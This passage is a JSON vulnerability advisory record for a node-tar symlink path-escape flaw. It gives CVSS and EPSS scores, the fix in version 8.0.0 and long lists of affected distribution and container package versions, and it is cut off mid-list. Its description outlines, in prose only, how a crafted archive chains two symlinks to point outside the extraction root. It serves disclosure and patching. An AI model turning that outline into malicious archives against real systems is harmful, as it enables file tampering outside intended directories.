{"id":"CVE-2026-140248","aliases":["CLSA-2026-1773706632","CLSA-2026-1796209074","CLSA-2026-1796224850","DEBIAN-CVE-2026-140248","DHI-iflk-u5lp-5y3l-tyhf","EUVD-2026-140455","GHSA-6wwr-g865-f46r","UBUNTU-CVE-2026-140248"],"status":"published","title":"node-tar: Nested symlink target can escape node-tar extraction root","description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.","severity":{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve","others":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","from":"osv"}]},"epss":{"day":"2026-12-04","score":0.00917,"percentile":0.61437,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true,"poc_reported":true},"cwes":["CWE-59"],"published":"2026-08-04T14:52:13Z","modified":"2026-12-05T03:45:19Z","fixes":[{"ecosystem":"npm","package":"tar","fixed_in":["8.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.5.22"},{"fixed":"8.0.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.3-tuxcare.0"},{"fixed":"1.0.3-tuxcare.2"}]}],"versions":["1.0.3","1.0.3-tuxcare.1"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.5.22-tuxcare.0"},{"fixed":"7.5.22-tuxcare.1"}]}],"versions":["7.5.22"],"bundled":24},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.5.21-tuxcare.0"},{"fixed":"7.5.21-tuxcare.1"}]}],"versions":["7.5.21"],"bundled":24},{"source":"osv","ecosystem":"Debian:12","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.13+~cs7.0.5-1","6.1.13+~cs7.0.5-1+deb12u1","6.1.13+~cs7.0.5-2","6.1.13+~cs7.0.5-3","6.1.13+~cs7.0.5-4","6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-10","6.2.1+ds1+~cs6.1.13-11","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1","7.5.16+~4.0.1-1","7.5.16+~4.0.1-2","7.5.19+~4.0.1-1","7.5.19+~4.0.1-2","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-10","6.2.1+ds1+~cs6.1.13-11","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1","6.2.1+~cs7.0.8-1+deb13u1","7.5.16+~4.0.1-1","7.5.16+~4.0.1-2","7.5.19+~4.0.1-1","7.5.19+~4.0.1-2","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-10","6.2.1+ds1+~cs6.1.13-11","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1","7.5.16+~4.0.1-1","7.5.16+~4.0.1-2","7.5.19+~4.0.1-1","7.5.19+~4.0.1-2","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"calico-whisker-3.32","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.32.3-r0"}]}],"versions":["3.32.3-r0","3.32.3-r1","3.32.3-r2","3.32.4-r0","3.32.4-r1","3.32.4-r2","3.32.4-r3","3.32.4-r4","3.32.4-r5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"calico-whisker-3.32","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.32.3-r0"}]}],"versions":["3.32.3-r0","3.32.3-r1","3.32.3-r2","3.32.4-r0","3.32.4-r1","3.32.4-r2","3.32.4-r3","3.32.4-r4","3.32.4-r5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"calico-whisker-3.33","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.33.0-r0"}]}],"versions":["3.33.0-r0","3.33.0-r1","3.33.0-r2","3.33.0-r3","3.33.1-r0","3.33.1-r1","3.33.1-r2","3.33.1-r3","3.33.1-r4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"calico-whisker-3.33","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.33.0-r0"}]}],"versions":["3.33.0-r0","3.33.0-r1","3.33.0-r2","3.33.0-r3","3.33.1-r0","3.33.1-r1","3.33.1-r2","3.33.1-r3","3.33.1-r4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"calico-whisker-fips-3.32","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.32.3-r0"}]}],"versions":["3.32.3-r0","3.32.3-r1","3.32.3-r2","3.32.4-r0","3.32.4-r1","3.32.4-r2","3.32.4-r3","3.32.4-r4","3.32.4-r5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"calico-whisker-fips-3.32","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.32.3-r0"}]}],"versions":["3.32.3-r0","3.32.3-r1","3.32.3-r2","3.32.4-r0","3.32.4-r1","3.32.4-r2","3.32.4-r3","3.32.4-r4","3.32.4-r5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"calico-whisker-fips-3.33","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.33.0-r0"}]}],"versions":["3.33.0-r0","3.33.0-r1","3.33.0-r2","3.33.0-r3","3.33.1-r0","3.33.1-r1","3.33.1-r2","3.33.1-r3","3.33.1-r4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"calico-whisker-fips-3.33","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.33.0-r0"}]}],"versions":["3.33.0-r0","3.33.0-r1","3.33.0-r2","3.33.0-r3","3.33.1-r0","3.33.1-r1","3.33.1-r2","3.33.1-r3","3.33.1-r4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"directus-12","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.4.1-r0"}]}],"versions":["12.4.1-r0","12.4.1-r1","12.4.1-r2","12.4.1-r3","12.5.0-r0","12.5.1-r0","12.5.1-r1","12.6.0-r0","12.6.0-r1","12.6.0-r2","12.6.0-r3","12.6.0-r4","12.6.0-r5","12.6.1-r0","12.6.1-r1","12.6.1-r2","12.6.1-r3","12.6.1-r4","12.6.1-r5","12.6.1-r6","12.7.0-r0","12.7.0-r1","12.7.0-r2","12.7.0-r3","12.7.0-r4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"directus-12","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.4.1-r0"}]}],"versions":["12.4.1-r0","12.4.1-r1","12.4.1-r2","12.4.1-r3","12.5.0-r0","12.5.1-r0","12.5.1-r1","12.6.0-r0","12.6.0-r1","12.6.0-r2","12.6.0-r3","12.6.0-r4","12.6.0-r5","12.6.1-r0","12.6.1-r1","12.6.1-r2","12.6.1-r3","12.6.1-r4","12.6.1-r5","12.6.1-r6","12.7.0-r0","12.7.0-r1","12.7.0-r2","12.7.0-r3","12.7.0-r4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"kyverno-policy-reporter-ui-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kyverno-policy-reporter-ui-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"kyverno-policy-reporter-ui-fips-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kyverno-policy-reporter-ui-fips-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"kyverno-policy-reporter-ui-fips","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kyverno-policy-reporter-ui-fips","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"kyverno-policy-reporter-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kyverno-policy-reporter-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"llama-cpp-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.0-r1"}]}],"versions":["0.7.0-r1","0.7.0-r2","0.7.0-r3","0.7.0-r4","0.7.0-r5","0.7.0-r6","0.7.0-r7","0.8.0-r0","0.8.0-r1","0.9.0-r0","0.9.0-r1","0.9.0-r2","0.9.0-r3","0.9.0-r4","0.9.0-r5","0.9.0-r6","0.9.0-r7"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"llama-cpp-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.0-r1"}]}],"versions":["0.7.0-r1","0.7.0-r2","0.7.0-r3","0.7.0-r4","0.7.0-r5","0.7.0-r6","0.7.0-r7","0.8.0-r0","0.8.0-r1","0.9.0-r0","0.9.0-r1","0.9.0-r2","0.9.0-r3","0.9.0-r4","0.9.0-r5","0.9.0-r6","0.9.0-r7"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"llama-cpp-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0-r0"}]}],"versions":["1.0.0-r0","1.0.0-r1","1.1.0-r0","1.1.0-r1"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"llama-cpp-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0-r0"}]}],"versions":["1.0.0-r0","1.0.0-r1","1.1.0-r0","1.1.0-r1"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"logto-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.45.0-r0"}]}],"versions":["1.45.0-r0","1.45.0-r1","1.45.0-r2","1.45.0-r3","1.45.0-r4","1.46.0-r0","1.46.0-r1","1.46.0-r2","1.46.0-r3","1.46.0-r4","1.46.0-r5","1.46.0-r6","1.46.0-r7","1.46.0-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"logto-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.45.0-r0"}]}],"versions":["1.45.0-r0","1.45.0-r1","1.45.0-r2","1.45.0-r3","1.45.0-r4","1.46.0-r0","1.46.0-r1","1.46.0-r2","1.46.0-r3","1.46.0-r4","1.46.0-r5","1.46.0-r6","1.46.0-r7","1.46.0-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"renovate-44","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"44.190.0-r0"}]}],"versions":["44.190.0-r0","44.190.0-r1","44.206.0-r0","44.218.0-r0","44.224.1-r0","44.224.2-r0","44.225.1-r0","44.225.2-r0","44.226.2-r0","44.227.2-r0","44.227.4-r0","44.230.1-r0","44.235.1-r0","44.235.4-r0","44.236.4-r0","44.237.3-r0","44.239.0-r0","44.239.1-r0","44.241.0-r0","44.242.0-r0","44.247.1-r0","44.247.2-r0","44.249.3-r0","44.251.0-r0","44.252.2-r0","44.252.8-r0","44.253.4-r0","44.255.2-r0","44.256.1-r0","44.257.0-r0","44.257.5-r0","44.257.6-r0","44.257.9-r0","44.259.0-r0","44.260.1-r0","44.261.1-r0","44.262.1-r0","44.262.2-r0","44.263.2-r0","44.263.5-r0","44.263.5-r1","44.264.1-r0","44.264.1-r1","44.264.1-r2"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"renovate-44","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"44.190.0-r0"}]}],"versions":["44.190.0-r0","44.190.0-r1","44.206.0-r0","44.218.0-r0","44.224.1-r0","44.224.2-r0","44.225.1-r0","44.225.2-r0","44.226.2-r0","44.227.2-r0","44.227.4-r0","44.230.1-r0","44.235.1-r0","44.235.4-r0","44.236.4-r0","44.237.3-r0","44.239.0-r0","44.239.1-r0","44.241.0-r0","44.242.0-r0","44.247.1-r0","44.247.2-r0","44.249.3-r0","44.251.0-r0","44.252.2-r0","44.252.8-r0","44.253.4-r0","44.255.2-r0","44.256.1-r0","44.257.0-r0","44.257.5-r0","44.257.6-r0","44.257.9-r0","44.259.0-r0","44.260.1-r0","44.261.1-r0","44.262.1-r0","44.262.2-r0","44.263.2-r0","44.263.5-r0","44.263.5-r1","44.264.1-r0","44.264.1-r1","44.264.1-r2"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"calico-whisker-3.32","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.32.3-0"}]}],"versions":["3.32.3-0","3.32.3-1","3.32.3-2","3.32.4-0","3.32.4-1","3.32.4-2","3.32.4-3","3.32.4-4","3.32.4-5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"calico-whisker-3.33","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.33.0-0"}]}],"versions":["3.33.0-0","3.33.0-1","3.33.0-2","3.33.0-3","3.33.1-0","3.33.1-1","3.33.1-2","3.33.1-3","3.33.1-4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"calico-whisker-fips-3.32","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.32.3-0"}]}],"versions":["3.32.3-0","3.32.3-1","3.32.3-2","3.32.4-0","3.32.4-1","3.32.4-2","3.32.4-3","3.32.4-4","3.32.4-5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"calico-whisker-fips-3.33","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.33.0-0"}]}],"versions":["3.33.0-0","3.33.0-1","3.33.0-2","3.33.0-3","3.33.1-0","3.33.1-1","3.33.1-2","3.33.1-3","3.33.1-4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"directus-12","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.4.1-0"}]}],"versions":["12.4.1-0","12.4.1-1","12.4.1-2","12.5.0-0","12.5.0-1","12.5.0-2","12.5.1-0","12.5.1-1","12.5.1-2","12.5.1-3","12.6.0-0","12.6.0-1","12.6.0-2","12.6.0-3","12.6.0-4","12.6.0-5","12.6.0-6","12.6.1-0","12.6.1-1","12.6.1-2","12.6.1-3","12.6.1-4","12.6.1-5","12.7.0-0","12.7.0-1","12.7.0-2","12.7.0-3","12.7.0-4","12.7.0-5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"kibana-9.4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.5-1"}]}],"versions":["9.4.10-0","9.4.10-1","9.4.10-2","9.4.5-1","9.4.7-0","9.4.8-0","9.4.8-1","9.4.8-11","9.4.8-12","9.4.8-13","9.4.8-14","9.4.8-2","9.4.8-3","9.4.8-4","9.4.8-5","9.4.8-6","9.4.8-7","9.4.8-8","9.4.8-9","9.4.9-0","9.4.9-1","9.4.9-2","9.4.9-3","9.4.9-4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"kibana-9.5","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.5.5-0"}]}],"versions":["9.5.5-0","9.5.5-1","9.5.5-10","9.5.5-11","9.5.5-12","9.5.5-2","9.5.5-3","9.5.5-4","9.5.5-5","9.5.5-6","9.5.5-7","9.5.5-9","9.5.6-0","9.5.6-1","9.5.6-2","9.5.6-3","9.5.7-0","9.5.7-1","9.5.7-2"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"kyverno-policy-reporter-ui-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-0"}]}],"versions":["2.6.1-0","2.7.0-0","2.7.0-1","2.7.0-2","2.7.1-0","2.7.1-1","2.7.1-2","2.7.2-0","2.7.2-1","2.7.3-0","2.8.1-0","2.8.1-1","2.8.1-2","2.8.1-3","2.8.1-4","2.8.1-5","2.9.0-1","2.9.1-0","2.9.1-1","2.9.1-2","2.9.1-3","2.9.1-4","2.9.1-5","2.9.1-6","2.9.1-7","2.9.1-8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"kyverno-policy-reporter-ui-fips-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-0"}]}],"versions":["2.6.1-0","2.7.0-0","2.7.0-1","2.7.0-2","2.7.1-0","2.7.1-1","2.7.1-2","2.7.2-0","2.7.2-1","2.7.3-0","2.8.1-0","2.8.1-1","2.8.1-2","2.8.1-3","2.8.1-4","2.8.1-5","2.9.0-1","2.9.1-0","2.9.1-1","2.9.1-2","2.9.1-3","2.9.1-4","2.9.1-5","2.9.1-6","2.9.1-7","2.9.1-8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"kyverno-policy-reporter-ui-fips","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-0"}]}],"versions":["2.6.1-0","2.7.0-0","2.7.0-1","2.7.0-2","2.7.1-0","2.7.1-1","2.7.1-2","2.7.2-0","2.7.2-1","2.7.3-0","2.8.1-0","2.8.1-1","2.8.1-2","2.8.1-3","2.8.1-4","2.8.1-5","2.9.0-1","2.9.1-0","2.9.1-1","2.9.1-2","2.9.1-3","2.9.1-4","2.9.1-5","2.9.1-6","2.9.1-7","2.9.1-8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"kyverno-policy-reporter-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-0"}]}],"versions":["2.6.1-0","2.7.0-0","2.7.0-1","2.7.0-2","2.7.1-0","2.7.1-1","2.7.1-2","2.7.2-0","2.7.2-1","2.7.3-0","2.8.1-0","2.8.1-1","2.8.1-2","2.8.1-3","2.8.1-4","2.8.1-5","2.9.0-1","2.9.1-0","2.9.1-1","2.9.1-2","2.9.1-3","2.9.1-4","2.9.1-5","2.9.1-6","2.9.1-7","2.9.1-8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"llama-cpp-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.0-0"}]}],"versions":["0.6.0-0","0.7.0-0","0.7.0-1","0.7.0-2","0.7.0-3","0.7.0-4","0.7.0-5","0.7.0-6","0.7.0-7","0.8.0-0","0.8.0-1","0.9.0-0","0.9.0-1","0.9.0-2","0.9.0-3","0.9.0-4","0.9.0-5","0.9.0-6","0.9.0-7","0.9.0-8","0.9.0-9"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"llama-cpp-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0-0"}]}],"versions":["1.0.0-0","1.0.0-1","1.0.0-2","1.0.0-3","1.1.0-0","1.1.0-1","1.1.0-2"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"logto-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.45.0-0"}]}],"versions":["1.45.0-0","1.45.0-1","1.45.0-2","1.45.0-3","1.45.0-4","1.46.0-0","1.46.0-1","1.46.0-2","1.46.0-3","1.46.0-4","1.46.0-5","1.46.0-6","1.46.0-7","1.46.0-8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"opensearch-dashboards","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.8.0-0"}]}],"versions":["3.10.0-0","3.10.0-1","3.10.0-2","3.10.0-3","3.10.0-4","3.10.0-5","3.8.0-0","3.8.0-1","3.8.0-2","3.8.0-3","3.9.0-0","3.9.0-1","3.9.0-2","3.9.0-3","3.9.0-4","3.9.0-5","3.9.0-6"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"renovate-44","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"44.190.0-0"}]}],"versions":["44.190.0-0","44.190.0-1","44.212.0-0","44.219.0-0","44.224.2-0","44.225.1-0","44.225.2-0","44.226.2-0","44.227.2-0","44.227.4-0","44.230.1-0","44.235.1-0","44.235.4-0","44.236.4-0","44.237.3-0","44.239.0-0","44.239.1-0","44.242.0-0","44.247.1-0","44.247.2-0","44.249.3-0","44.251.0-0","44.252.2-0","44.252.8-0","44.253.4-0","44.255.2-0","44.256.1-0","44.257.0-0","44.257.5-0","44.257.6-0","44.257.9-0","44.259.0-0","44.260.1-0","44.261.1-0","44.262.1-0","44.262.2-0","44.263.2-0","44.263.5-0","44.263.5-1","44.264.1-0","44.264.1-1","44.264.1-2","44.264.1-3"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"uptime-kuma-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.23.17-0"}]}],"versions":["1.23.17-0","1.23.17-1","1.23.17-11","1.23.17-12","1.23.17-2","1.23.17-3","1.23.17-4","1.23.17-5","1.23.17-6","1.23.17-7","1.23.17-8","1.23.17-9"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"uptime-kuma-2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.5.0-0"}]}],"versions":["2.5.0-0","2.5.0-1","2.5.0-2","2.5.10-0","2.5.11-0","2.5.11-1","2.5.11-2","2.5.11-3","2.5.12-0","2.5.13-0","2.5.13-1","2.5.3-0","2.5.3-1","2.5.4-0","2.5.5-0","2.5.5-1","2.5.6-0","2.5.7-0","2.5.7-1","2.5.9-0","2.5.9-1"]},{"source":"osv","ecosystem":"npm","package":"tar","ranges":[{"type":"SEMVER","events":[{"introduced":"7.5.22"},{"fixed":"8.0.0"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.18-1","0.1.18-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.3-2","1.0.3-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.1-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.4.10+ds1-2","4.4.10+ds1-2ubuntu1","4.4.10+ds1-2ubuntu1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.7+~cs11.3.10-1","6.1.11+~cs11.3.10-1","6.1.11+ds1+~cs6.0.6-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.13+~cs7.0.5-1","6.1.13+~cs7.0.5-3"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+ds1+~cs6.1.13-10","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"U